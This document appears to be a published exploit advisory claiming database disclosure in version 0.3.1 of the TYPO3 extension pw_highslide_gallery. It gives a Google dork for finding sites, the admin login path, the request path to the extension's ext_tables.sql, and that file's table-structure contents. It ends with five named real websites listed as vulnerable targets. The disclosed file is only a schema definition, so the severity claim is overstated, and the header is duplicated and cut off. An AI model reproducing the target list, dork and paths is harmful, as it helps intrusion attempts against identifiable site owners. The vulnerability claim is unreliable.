##############################################################################

# Exploit Title : Typo3 CMS pw_highslide_gallery Extension 0.3.1 Database
Disclosure
# Author [ ##############################################################################

# Exploit Title : Typo3 CMS pw_highslide_gallery Extension 0.3.1 Database
Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 02/01/2019
# Vendor Homepage : typo3.org
# Software Download Link :
extensions.typo3.org/extension/download/pw_highslide_gallery/0.3.1/zip/
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 0.3.1
# Exploit Risk : Medium
# Google Dorks : inurl:''/typo3conf/ext/pw_highslide_gallery/''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]

##############################################################################

# Admin Panel Login Path :

/typo3/index.php

# Exploit :

/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

##############################################################################

#
# Table structure for table 'tt_content'
#
CREATE TABLE tt_content (
tx_pwhighslidegallery_useHighslide tinyint(3) DEFAULT '0' NOT NULL,
tx_pwhighslidegallery_hidetitle tinyint(3) DEFAULT '0' NOT NULL,
tx_pwhighslidegallery_hidedesc tinyint(3) DEFAULT '0' NOT NULL,
tx_pwhighslidegallery_squarethumbs tinyint(3) DEFAULT '0' NOT NULL
tx_pwhighslidegallery_category int(11) DEFAULT '-1' NOT NULL,
tx_pwhighslidegallery_sort tinyint(3) DEFAULT '0' NOT NULL
);

################################################################################

Information About Database =>

ext_tables.sql
************************

This file contains SQL statements to update or create tables for your
extension in the TYPO3 database.

This file should contain a table structure dump of the tables used by the
extension.

It is used for evaluation of the database structure and is therefore
important to check and update

the database when an extension is enabled. If you add additional fields (or
depend on certain fields)

to existing tables, you can also put them here. In that case, insert a
CREATE TABLE structure

for that table, but remove all lines except the ones defining the fields
you need. The ext_tables.sql

file may not necessarily be dumpable directly to MySQL (because of the
semi-complete

table definitions allowed defining only required fields.). But the EM or

Install Tool can handle this. The only very important thing is that the
syntax of the content

is exactly like MySQL made it so that the parsing and analysis routines of
the EM don't get confused.

##############################################################################

# Example Vulnerable Sites =>

[+] brennholzaktion.at/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

[+] delbrueck-villen.de/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

[+] oevp-aich-assach.at/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

[+] zimmerei-unas.de/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

[+]
ferienwohnung-schuler.at/typo3conf/ext/pw_highslide_gallery/ext_tables.sql

##############################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

##############################################################################